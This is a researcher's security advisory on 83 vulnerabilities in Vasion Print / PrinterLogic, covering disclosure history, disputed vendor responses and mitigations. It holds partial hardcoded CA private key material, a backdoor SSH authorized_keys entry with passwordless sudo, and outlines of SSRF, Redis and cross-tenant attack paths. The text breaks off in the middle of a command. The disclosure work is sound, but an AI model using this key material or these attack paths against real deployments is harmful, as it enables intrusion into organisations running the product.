-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: 83 vulnerabilities in Vasion Print / PrinterLogic Advisory URL: https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt Blog URL: https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html Date published: 2025-04-08 Vendors contacted: Vasion Release mode: Released CVE: CVE-2025-27637, CVE-2025-27638, CVE-2025-27639, CVE-2025-27641, CVE-2025-27642, CVE-2025-27643, CVE-2025-27644, CVE-2025-27645, CVE-2025-27646, CVE-2025-27647, CVE-2025-27648, CVE-2025-27649, CVE-2025-27650, CVE-2025-27651, CVE-2025-27652, CVE-2025-27653, CVE-2025-27654, CVE-2025-27655, CVE-2025-27656, CVE-2025-27657, CVE-2025-27674, CVE-2025-27675, CVE-2025-27676, CVE-2025-27677, CVE-2025-27678, CVE-2025-27679, CVE-2025-27680, CVE-2025-27681, CVE-2025-27682, CVE-2025-27683, CVE-2025-27684, CVE-2025-27685 ## Product description > Secure. Scalable. Print Automation That Just Works. > Eliminate print servers to secure your environment. Leverage the power of AI and automation to streamline print processes through one central location. Say goodbye to the frustrations of a traditional print environment and welcome a new era of print automation. > > Serverless Print Automation with Built-In Flexibility > Print servers are prone to failure, expensive to maintain, and pose major security risks. Vasion Print's cloud-native, centrally-managed direct IP printing architecture eliminates the need for legacy systems, simplifying your IT infrastructure and reducing operational costs. By eliminating print servers, your print environment is highly available with low maintenance, allowing your business to scale and transform with automation and AI. > From https://vasion.com/print/ ## Vulnerabilities Summary Vulnerable versions for patched vulnerabilities: Vason Print Virtual Appliance Host < 25.1.102, Application < 25.1.1413. Vulnerable versions for unpatched vulnerabilities: all versions. __I. The summary of the vulnerabilities found in 2021:__ __11 vulnerabilities affecting the MacOS/Linux client__ 1. CVE-2025-27685 - Hardcoded Private key for the PrinterLogic CA and Hardcoded password 2. CVE-2025-27682 - Incorrect permissions in /opt/PrinterInstallerClient/log 3. non-assigned CVE vulnerability - Leak of secrets inside the logs 4. non-assigned CVE vulnerability - Lack of authentication of the communication between services 5. CVE-2025-27681 - Bypass of admin commands using IPC 6. non-assigned CVE vulnerability - Authentication bypass on the PrinterInstallerClientService program 7. CVE-2025-27683 - Potential upload of new drivers 8. CVE-2025-27684 - Insecure generation of debug archive 9. CVE-2025-27677 - Arbitrary File Read as root 10. non-assigned CVE vulnerability - Arbitrary File Write as root 11. non-assigned CVE vulnerability - Outdated OpenSSL version __5 vulnerabilities affecting the Windows client__ 12. non-assigned CVE vulnerability - Insecure PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe 13. CVE-2025-27678 - Local Privilege Escalation with insecure use of C:\Windows\Temp\PPP\Log 14. non-assigned CVE vulnerability - Local Privilege Escalation with insecure use of C:\Users\%USER%\AppData\Local\Temp 15. non-assigned CVE vulnerability - Remote Code Execution (Execution of C:\Program.exe during the installation of a driver) 16. non-assigned CVE vulnerability - Hardcoded Private key for the PrinterLogic CA and Hardcoded password __II. The summary of the vulnerabilities found in 2022:__ __33 vulnerabilities affecting the VA and SaaS versions__ 17. non-assigned CVE vulnerability - Hardcoded password for the ubuntu user 18. non-assigned CVE vulnerability - Hardcoded SSH server keys 19. non-assigned CVE vulnerability - Insecure communications to printers and insecure communications to micro-services by disabling all SSL verifications 20. non-assigned CVE vulnerability - Password for `network` stored in clear-text inside `/etc/issue`, world-readable 21. CVE-2025-27650 - Hardcoded SSH keys + private SSH keys for [redacted]@printerlogic.com 22. CVE-2025-27643 - Hardcoded AWS secret key and Presence of CI/CD scripts 23. CVE-2025-27638 - Hardcoded Mailgun credentials 24. CVE-2025-27674 - Hardcoded OKTA Private key 25. non-assigned CVE vulnerability - Lack of firewall between Docker instances 26. non-assigned CVE vulnerability - Insecure access to Docker instances from the WAN 27. non-assigned CVE vulnerability - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution 28. non-assigned CVE vulnerability - Outdated, End-Of-Life, unsupported and vulnerable components (Nginx, libraries, Laravel, operating systems) 29. non-assigned CVE vulnerability - Processes running as root in Docker instances 30. CVE-2025-27639 - Creation of administrator cookies using the credentials of regular users 31. CVE-2025-27637 - XSS in the license generator and weak encryption algorithm 32. CVE-2025-27649 - Incorrect Access Control to PHP webpages allowing to reach printers 33. CVE-2025-27651 - Pre-authentication Elatec password disclosure, Change to a malicious Elatec server and Blind-SSRF 34. CVE-2025-27652 - Pre-authenticated SSRF and Change of RFIDeas 35. CVE-2025-27653 - Pre-authenticated Stored XSS in /var/www/app/console_release/fast_release/register_badge.php 36. CVE-2025-27655 - SSRF everywhere in /var/www/app and compromise of the SaaS infrastructure 37. CVE-2025-27679 - XSS in /var/www/app/console_release/fast_release/ register_badge_new.php 38. CVE-2025-27676 - XSS in /www/app/admin/design/reports/overview_popup.php and Incorrect Access Control 39. CVE-2025-27654 - XSS everywhere in /www/app/admin/* 40. CVE-2025-27657 - Remote Code Executions using eval() - requires administrator privileges 41. non-assigned CVE vulnerability - Dangerous PHP dead code 42. non-assigned CVE vulnerability - Insecure SSH configuration 43. non-assigned CVE vulnerability - Incorrect encryption algorithms used to store passwords 44. non-assigned CVE vulnerability - GPG Private key stored in the solution 45. non-assigned CVE vulnerability - Passwords readable and stored in clear-text 46. non-assigned CVE vulnerability - Hardcoded SSL certificate / Private keys 47. CVE-2025-27656 - Samba password available in the process list 48. non-assigned CVE vulnerability - Supply Chain attack against the PrinterLogic build system 49. CVE-2025-27675 - Vulnerable OpenID implementation __ 1 vulnerability affecting only the VA version__ 50. CVE-2025-27680 - Insecure firmware image update using the MS_AUTH_KEY variable __III. The summary of the vulnerabilities found in 2024:__ __ 4 vulnerabilities affecting only the SaaS version__ 51. CVE-2025-27648 - Cross-tenant vulnerability - disclosure of passwords of other customers and change of settings of any tenant 52. CVE-2025-27646 - Take over of tenants without authentication 53. non-assigned CVE vulnerability - Insecure design of the SaaS version 54. non-assigned CVE vulnerability - SQL Backups stored in clear-text in the Cloud __ 2 vulnerabilities affecting only the VA version__ 55. non-assigned CVE vulnerability - Pre-authenticated Remote take over of PrinterLogic instances (Remote Code Execution) 56. non-assigned CVE vulnerability - Remote Code Execution and Leak of passwords using APIs __ 25 vulnerabilities affecting the VA and SaaS versions__ 57. non-assigned CVE vulnerability - Undocumented hardcoded SSH key 58. non-assigned CVE vulnerability - Internal Docker instances exposed on the LAN and the Internet 59. non-assigned CVE vulnerability - Docker instance used to upload clients reachable from the Internet and the LAN 60. non-assigned CVE vulnerability - Unauthenticated API leaking group information 61. CVE-2025-27645 - Installation of the Firefox plugin over HTTP 62. non-assigned CVE vulnerability - Authentication Bypass - Docker instances reachable without authentication 63. CVE-2025-27647 - Addition of partial-admin users without authentication 64. CVE-2025-27641 - Unauthenticated admin APIs allowing to configure the IdP (SSO) authentication mechanism 65. non-assigned CVE vulnerability - Unauthenticated admin APIs allowing to upload/download SSL certificates 66. non-assigned CVE vulnerability - Insecure credentials used for the installation 67. non-assigned CVE vulnerability - No authentication required to configure/delete printers/rfid devices 68. non-assigned CVE vulnerabilities - 11 SSRF vulnerabilities in the console_release directory 68.1. non-assigned CVE vulnerabilities - 4 SSRF vulnerabilities in /var/www/app/console_release/lexmark/update.php 68.2. non-assigned CVE vulnerability - 1 blind SSRF vulnerability in /var/www/app/console_release/hp/installApp.php 68.3. non-assigned CVE vulnerabilities - 2 blind SSRF vulnerabilities in /var/www/app/console_release/hp/log_off_single_sign_on.php 68.4. non-assigned CVE vulnerabilities - 2 SSRF vulnerabilities in /var/www/app/console_release/hp/badgeSetup.php 68.5. non-assigned CVE vulnerabilities - 2 blind SSRF vulnerabilities in /var/www/app/console_release/lexmark/dellCheck.php 69. non-assigned CVE vulnerability - Insecure use of file_get_contents() allowing to bypass security checks 70. non-assigned CVE vulnerability - Hardcoded keys used to encrypt information - insecure encryption 71. CVE-2025-27642 - Unauthenticated webpage allowing to edit driver packages __ 2 vulnerabilities affecting the Windows client__ 72. CVE-2025-27644 - Local Privilege Escalation 73. non-assigned CVE vulnerability - Insecure option allowing an attacker to get Remote Code Execution against any client _Miscellaneous notes_: A blackbox security assessment of the MacOS client was done in 2021 (3 days of work) without access to the back-end (Virtual Appliance or SaaS) and was provided to PrinterLogic (now Vasion Print). A (very) quick security assessment of the Windows Client was also done in 2021 (~ 6 hours of work - as PrinterLogic was not the main target of the security evaluation) and was provided to PrinterLogic (now Vasion Print). A third report analysing the Virtual Appliance and SaaS version was provided in February 2022 to Vasion after a 3-week security assessment. The vendor provided a test SaaS deployment. A fourth security assessment (3 weeks of work), analysing the Virtual Appliance and SaaS version (the vendor provided a test SaaS deployment), was provided in January 2024 to the vendor allowing to check the status of the previously reported vulnerabilities. During this 2024 security assessment, 34 new vulnerabilities were found using the previous knowledge obtained in 2022 and it was confirmed that 20 of 33 vulnerabilities found in the VA/SaaS version previously reported in 2022 have not been patched - which was quite problematic. While waiting for security patches to vulnerabilities I reported to the vendor, a previous colleagues of mine - Wireghoul (https://twitter.com/@wireghoul) - published another security assessment of PrinterLogic in 2023 with very cool findings: PrinterLogic SaaS, multiple vulnerabilities (https://gist.github.com/wireghoul/fd2abbe52025f84de5f5ca4f08a4da93). Surprisingly, the 18 vulnerabilities he found did not collide with my findings. Following an email sent to the vendor in September 2024 stating that I would disclose all the vulnerabilities without security patches, the vendor finally confirmed that they would work to provide security patches before January 2025 for all the remaining issues and they confirmed that they had already released some security patches. They also communicated more often on the status of the security patches. It took more than 3 years to get incomplete security patches for vulnerabilities found in 2022 and 1 year for vulnerabilities found in 2024 (see below). My interpretation is that the vendor was overwhelmed with my findings. Regarding reports sent in 2022 and 2024, the vendor never asked me technical details regarding vulnerabilities and they stated by email on October 5, 2024 that all the reported vulnerabilities would be fixed. The vendor also reconfirmed again on January 17, 2025 that all the vulnerabilities had been fixed (except vulnerabilities related to Docker configuration) so my assumption was they accepted all the vulnerabilities and patched them. Unfortunately, I was incorrect and in discussions related to disclosure and missing Vendor's security bulletins in March 2025, it appeared, to my surprise, that Vasion considered 8 vulnerabilities to be "feature requests" and had consequently not been patched. When reviewing the previous tracking document they shared with me, some of these vulnerabilities were missing or were indicated as "patched". It is unclear if the vendor would patch them. I included the *Vendor Response regarding disputed and unpatched vulnerabilities* in this document, followed by my comments, because the vendor disagreed with my analysis but I **strongly** believe that some of the final Vendor's responses are technically incorrect (please find my technical explanations below). At least 4 vulnerabilities (2 reported in February 2020 and 2 reported in January 2024 [including a rejected vulnerability]) have not been yet patched, allowing a remote attacker to get a Remote Code Execution against Vasion Print without authentication. Requiring more than 3 years to provide incomplete security patches does not appear to be in line with the best practices in responding to cybersecurity risks. It is also quite worrying that the vendor decided to reject valid vulnerabilities (including a backdoor RCE reported in January 2024) and did not provide security patches for 1 RCE reported in January 2022 and 2 RCEs reported in January 2024. Due to the design of the solution - Vasion Print needs to reach remote printers over HTTP and HTTPS - Vasion Print is prone to SSRF vulnerabilities. 11 SSRF vulnerabilities were reported based on webpages that were randomly chosen and analyzed. SSRF vulnerabilities could be catastrophic in an Cloud environment because an attacker can reach metadata services (https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/) and extract credentials for lateral movements. Additionally, multiple cross-tenant vulnerabilities were found allowing an attacker to compromise any instance. I recommended to the vendor to review hundreds of calls to curl and file_get_contents() that use attacker-controlled inputs, in order to patch SSRF vulnerabilities. I did not check if the reported vulnerabilities have been correctly patched. I waited over 13 times longer than the usual coordination time (13 * 3 months) hoping that the vendor would release complete security patches. Unfortunately, they did not patch all the vulnerabilities. Consequently, I decided to provide this security advisory to share some recommendations to mitigate the security risks on this solution. The vulnerabilities found in 2024 are way more impactful, since I used my previous knowledge to analyze interesting entrypoints allowing an attacker to perform multiple Remote Code Executions, authentication bypasses and cross-tenant vulnerabilities and I suggest directly reading the 2024 vulnerabilities. Although the list of vulnerabilities is substantial, I consider that the security posture of Vasion Print has improved significantly as a result of the reporting of these vulnerabilities. Regarding the (lack of) CVEs, the vendor confirmed that they reached MITRE multiple times to have CVE identifiers assigned to vulnerabilities. Unfortunately, they never got any reply and they used custom identifiers to track vulnerabilities (`V-YEAR-NUMBER`) in their security bulletins. I reached JPCERT to assign CVE Identifiers to the vulnerabilities, since I worked with JPCERT in 2023 for vulnerabilities found in Toshiba (https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html) and Sharp (https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html) Multi-Function printers. Finally, MITRE assigned 33 CVEs in March 2025 but more than 50 CVE IDs are still missing. I reached MITRE in March 2025 two times to assign CVE IDs to the non-assigned vulnerabilities and will update this security advisory accordingly if CVEs are assigned. _Impacts_ An attacker can compromise Vasion Printer installations without authentication, move laterally in the Windows/MacOS clients and get Remote Code Execution on these clients. It was also possible to compromise other customers since cross-tenant vulnerabilities were found, allowing to disclose clear-text passwords of other customers and get admin access to their accounts using multiple vulnerabilities. A multitude of SSRF vulnerabilities were found, potentially allowing an attacker to compromise the underlying AWS infrastructure of the SaaS version. _Recommendations_ Please note that the following recommendations are based on the multiple vulnerabilities that were found in Vasion print. Implementing these recommendations will considerably reduce the attack surface, limit security risks and get unpatched vulnerabilities patched: - - Apply security patches. - - Use network segmentation not to expose Vasion Print / PrinterLogic on the network or to only expose Vasion Print / PrinterLogic to trusted and secure machines on port 443/tcp. This protects against vulnerabilities in PHP webpages and Docker instances. - - Install the Virtual Appliance in a secure network. This protects against RCEs based on Network Layer 2 (currently unpatched). - - Use the Virtual Appliance version instead of the SaaS version. This protects against cross-tenant vulnerabilities and SSRF vulnerabilities that could compromise Cloud-based infrastructure. - - Deploy the Virtual Appliance version on-premise instead of using Cloud infrastructures. This protects against SSRF vulnerabilities that could compromise Cloud-based infrastructure. - - Implement workarounds for unpatched and disputed vulnerabilities. - - Remove the hardcoded `~printerlogic/.ssh/authorized_keys` file found in the Virtual Appliance. This file contains a hardcoded public SSH key allowing an undocumented backdoor SSH access with password-less sudo privileges (providing a full root access) if SSH is used on the Virtual Appliance. Vasion rejected this vulnerability. - - If you are using the SaaS version, rotate passwords, because some of them were returned in clear-text when sending a regular HTTP request to the badge API without authentication in any instance. It is worth noting that these passwords were corresponding to different tenants. This vulnerability is "_V-2024-003 - Cross Tenant Password Exposure_" in the vendor's security bulletins (CVSS: 10) and was patched in January 2024 (CVE-2025-27648). ## Unpatched vulnerabilities The vendor stated they would patch these vulnerabilities in a future release of Vasion Print: 2022: - - non-assigned CVE vulnerability - Insecure access to Docker instances from the WAN Note that an attacker located in the same network segment will be able to achieve Remote Code Execution against the Virtual Appliance using this vulnerability. 2024: - - non-assigned CVE vulnerability - Processes running as root in Docker instances - - non-assigned CVE vulnerability - Authentication Bypass - Docker instances reachable without authentication Note that an attacker located in the same network segment will be able to achieve Remote Code Execution against the Virtual Appliance using this vulnerability. ## Vendor Response regarding disputed and unpatched vulnerabilities On March 12, 2025, Vasion considered the following issues as "feature requests" or non issues and consequently they responded no security bulletins would be published. After sending my feedback stating that I was surprised that some vulnerabilities would not be patched, Vasion provided a final risk analysis on March 18, 2025 regarding disputed findings: 1. non-assigned CVE vulnerability - Password for `network` stored in clear-text inside `/etc/issue`, world-readable "The presence of a network password in clear text within the /etc/issue directory does not pose an immediate risk to the confidentiality, integrity, or availability (CIA) of customer data or systems. Exploitation of this finding would require either physical access to the host system or prior network access, limiting the likelihood of unauthorized exposure. However, as a security best practice, Vasion continuously evaluates opportunities to enhance protections against potential attack vectors." 2. non-assigned CVE vulnerability - Lack of firewall between Docker instances "This has been categorized as a feature request. The absence of firewalls between Docker instances does not introduce a risk to customer data or system security. While implementing firewalls could enhance the overall defense-in-depth strategy, it is not a requirement for maintaining product security. The researcher's recommendations have been submitted as an internal feature request to further strengthen security. No security bulletin will be published for this finding." 3. non-assigned CVE vulnerability - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution "This has been categorized as a feature request. The Vasion Automate Virtual Appliance operates under a shared responsibility model, where administrators are responsible for configuring persistent storage and encrypting configuration files. The researcher identified certain configuration files with excessive permissions, which is only applicable in cases where storage encryption has not been properly configured. Encryption configurations vary based on deployment environments. Customers are advised to follow best practices for securing persistent storage, as outlined in Vasion's deployment guidance for AWS and other environments (https://help.printerlogic.com/va/Print/Setup/Virtual_Appliance/Setup-Using-AWS.htm#:~:text=4.-,Create%20the%20Data%20Volume,-In%20the%20left). No security bulletin will be published for this finding." 4. non-assigned CVE vulnerability - Incorrect encryption algorithms used to store passwords "This issue was partially resolved. However, due to an extended timeline for migrating to the new login portal, the legacy authentication platform will remain in use for an undetermined period. In light of this, the issue has been reopened and will be addressed as a priority. The resolution will be implemented as soon as possible." 5. non-assigned CVE vulnerability - Passwords readable and stored in clear-text "This has been categorized as a feature request. The Vasion Automate Virtual Appliance follows a shared responsibility model, where administrators are expected to configure persistent storage encryption. The researcher identified certain network passwords stored in clear text, but this is only applicable when storage encryption is not properly configured. Encryption configurations vary by deployment environment. Customers are advised to follow best practices for securing persistent storage (https://help.printerlogic.com/va/Print/Setup/Virtual_Appliance/Setup-Using-AWS.htm#:~:text=4.-,Create%20the%20Data%20Volume,-In%20the%20left). No security bulletin will be published for this finding." 6. non-assigned CVE vulnerability - Insecure design of the SaaS version "This finding has been classified as a false positive. A review of Vasion's internal architecture confirms that Server-Side Request Forgery (SSRF) cannot lead to account takeover as proposed. The hypothetical attack path presented requires multiple additional vulnerabilities, which are not present in the product's gateway microservices. No security bulletin will be published for this finding." 7. non-assigned CVE vulnerability - Undocumented hardcoded SSH key "This finding has been classified as a false positive. The Vasion Automate Virtual Appliance is a containerized application running on an underlying host. SSH key generation is unique per virtual appliance and cannot be tracked by Vasion. SSH is then disabled for the Virtual Appliance's host. This approach is a standard practice for Docker-built virtual applications to maintain host security. No security bulletin will be published for this finding." 8. non-assigned CVE vulnerability - Docker instance used to upload clients reachable from the Internet and the LAN "This finding has been classified as a false positive. The identified gateway is designed to facilitate communication between external services and backend services. It does not handle client uploads or distribution as suggested in the report. No security bulletin will be published for this finding." ## Analysis of Vendor Response regarding disputed and unpatched vulnerabilities Find my comments below related to the Vendor Response on disputed and unpatched vulnerabilities: 1. non-assigned CVE vulnerability - Password for `network` stored in clear-text inside `/etc/issue`, world-readable Displaying clear-text credentials on the console is against good security practices. While the likelihood is low, an attacker with access to the server console (e.g. with IPMI, iLO) can compromise the server. 2. non-assigned CVE vulnerability - Lack of firewall between Docker instances The security assessment demonstrates that it is possible to get Remote Code Execution using this vulnerability (e.g., via Redis, currently exposed on the network, or any other SSRF vulnerability) when an attacker has a shell inside a Docker instance or exploits a SSRF vulnerability in the solution. It is also widely known that a SSRF vulnerability that can reach a Redis server allows remote code execution (https://github.com/tarunkant/Gopherus). It is likely that the vendor considers in its threat model that an attacker cannot exploit SSRF vulnerabilities (while I found more than 10 different SSRFs). 3. non-assigned CVE vulnerability - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution As a workaround, the vendor advises to use AWS EBS storage encryption. EBS storage encryption encrypts disk I/O on the volume and is unrelated to file permissions issues. The official EBS documentation (https://docs.aws.amazon.com/ebs/latest/userguide/how-ebs-encryption-works.html) only states that encryption is performed on the volume. The AWS threat model is as follows: (1) a hard drive is stolen; (2) an attacker on the network can intercept disk I/O; or (3) an attacker without IAM permissions cannot retrieve the encryption key to decrypt the volume. Volume encryption does not protect against an attacker using a shell on the instance and does not patch insecure permissions. As a result, an attacker with a shell inside a Docker instance will have full access to plaintext credentials because insecure permissions are used. 4. non-assigned CVE vulnerability - Passwords readable and stored in clear-text Similar comment as above. 5. non-assigned CVE vulnerability - Insecure design of the SaaS version Vasion has not provided any information regarding additional authentications between services. When analyzing PHP files, it looks like that only the X-Site-ID header is used. Vasion states that additional vulnerabilities are required. It is unclear what additional vulnerabilities are required. 6. non-assigned CVE vulnerability - Undocumented hardcoded SSH key The technical explanation provided by Vasion appears to be likely incorrect since it refers to SSH host key files (found in `/etc/ssh/ssh_*`), and it is unrelated to the `~printerlogic/.ssh/authorized_keys` file that was reported in January 2024. The hardcoded file `~printerlogic/.ssh/authorized_keys` is still present in the latest version of Virtual Appliance (February 2025, 25.1.102 - https://va.printerlogic.com/virtual-appliance/releases/25.1.102/printerinstaller-25.1.102.ova - _e8c96fdf85298c2afb0a68726a8c3e78911aff5b8288ea9b7c7b005aa18290d4_), providing a root shell access to any attacker in possession of the corresponding private key if SSH is running: vm# cd home vm# ls -la total 20 drwxr-xr-x 5 root root 4096 Feb 20 2025 . drwxr-xr-x 19 root root 4096 Feb 20 2025 .. drwxr-x--- 3 network docker 4096 Feb 20 2025 network drwxr-x--- 3 printerlogic printerlogic 4096 Feb 20 2025 printerlogic drwxr-x--- 4 ubuntu docker 4096 Feb 20 2025 ubuntu vm# find printerlogic printerlogic printerlogic/.bash_logout printerlogic/.profile printerlogic/.ssh printerlogic/.ssh/authorized_keys printerlogic/.bashrc vm# cat printerlogic/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw+sKOEvtwR/sOlzWKmZkiRfoZs9Atdm5EVIdSADiOGstscYFmXB12a6BlHptBziq2Z9NUHoRfAS923Mgk9KdGhK/0qIheyLuFks1uLve2MiIkwO4hb72AtwN8ceecJSBu6FvOq0LMEMl1PX3sNt1Yu+CFIAUfr47P6ja2y1qmW9Mj9pGGLafXFuP49D1bZ5wnZ/XVusHHyHqOOA4D1IMAxP7YqhbM6FekE9oiQqX3r//ci5YtG+yzbCcLSBjIOxVpRDFX9/0AKYzeC5DiKkQ8if+xyND0cS1kI/D5NQ5Q/NIttoQRMETv8jXDhycUrZPEOEaP4ODWj0wRD/rtTwkV12Kf9i0hxmKxh2TH7LXBEjlq6xo7w9GLSapyV2AREP94NoZjL7GAPIdz3JneiyOvb/pcCR8xjHijlr8WXk9M0ZK2Ma29KCAl4ZLPC3z43psJyYLDXmJOrIsJNE4bnBaBuWADZPKYPC54WzqpTjmp1wObQT+Jbecf/GYj0rqj2GSqu2Ij8fBKS4rJ/2aee3afLwbsYVqz/g0x4qaOZo+X6DcrvLErbgERs471k80QMWOhLbOCYtIAEcZI2gnhD3ZMZXc790sp1PC2WXD2dZFEXBqLTMIKdaIL2Nc/XCt6TYZpcfvt49S6p3KiTtN9BrfPhyINof8DbzHL2d4dL0q6/Q== Virtual Appliance Development Key vm# grep printerlogic /etc/group printerlogic_ssh:x:1001:printerlogic printerlogic:x:1002: vm# grep printerlogic /etc/sudoers %printerlogic_ssh ALL=(ALL) NOPASSWD: ALL 7. non-assigned CVE vulnerability - Docker instance used to upload clients reachable from the Internet and the LAN Vasion reports that the upload Docker instance is not in use, but is running and accessible from the network. It's unclear why the vendor chooses to expand the attack surface by exposing unused services to the network. ## Security assessment done in 2021 ## Vulnerabilities affecting the MacOS/Linux client ## Identification of the solution The laptop is running macOS Big Sur and the Printerlogic version is 25.1.0.504: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Printerlogic version: user@laptop ~ % cat /opt/PrinterInstallerClient/VERSION 25.1.0.504 ## Details - Hardcoded Private key for the PrinterLogic CA and Hardcoded password The configuration file of PrinterLogic can be found in `/opt/PrinterInstallerClient/tmp/data/clientsettings.dat`. It is an XML file containing some values: Content of `/opt/PrinterInstallerClient/tmp/data/clientsettings.dat`: Successful saas Any (specified by url) https://[redacted].printercloud10.com SET It contains a custom Certificate Authority (CA) and its associated private key: -----BEGIN CERTIFICATE----- MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4 MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM BFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFByaW50ZXJMb2dp YzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwmUHJpbnRlcklu c3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA A4ICDwAwggIKAoICAQCs4uTY7wGVIs14OPZnEx33WwXg3b5aAEEw6uTiwgutiZoj UoAJ7hytkEK7KDOB1TL7/IphKmtJdkixLgZYiLtRjzejOeQNPNbvROg/TtBADTal Wp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAgc10PX2tbjcnGfP2LQ5eXofHkkyvGtCaE o9RSs0DOLsIrK9Y6yctz+tKhYca0wPjIqp0IQBfHaCnskmqrWMlUU2PW9b3cIY96 [...] NmRZ843dZWEvh7Sa7uOqjXGbKgM209Y+z1qTGS5ge6+yE/08dswGx6lQLkgOGJjh ocC5e+TosH3ISmcx/Y0rRYzKVOzW77v18ijozAKlG4usf/vPFaZD+72IaTM= -----END CERTIFICATE----- [...] -----BEGIN PRIVATE KEY----- MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14 OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz 7i56aAA6F9O46iODUrJvabwDs7N6MSuzoCatC4kciig85pr6jengpWbp3E6Z7ybo [...] G3KOXALBOZOYykvJN1Q8v+dPmHE0qO4/t4Axz+NTtPbxd5k0AM9Lz7EfEspyrTau +J0lD0I+7GdKk4dwUbmjCrfNDpAAs0l9rmLZ8gYKa9olnVJPB04TQBAwqR6ymwKj LAECggEBANtxgXHp32BccvuzuNMd+Ep9RmfBHHSJTYSOlcdDh7U3j786JiYtLVxL T87iC9gVwkKqi71aXMziWEMzN4JobtQyfLQ+T5kHFzBsU0L8wV/9JNkqzASsm0N7 ZhBMptDYB5TMgVy/KSALl1eyDi5z+YHe3tDU958c7OnkrhHu+qH6PMfLp3xziR6S a6+mSov2DwmlJJ+y5MvYSXhh5kg0xbulg/kr8jWY0hfopQGAHT2eUmlMaS3ZCxIk FqmTjGpNQnxLd+LS+YEKyjZsfs/5srqTzyVnn+D2TNeWpbinUESX3hQxXsdU5vDr 2lS4nryEiEh2058Cq6Z4zsBtsjNgtAg= -----END PRIVATE KEY----- It is possible to confirm this private key is the private key of the public CA by checking modulus - they have the same modulus value: kali% openssl rsa -noout -modulus -in CA.key Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB kali% openssl x509 -noout -modulus -in CA.pem 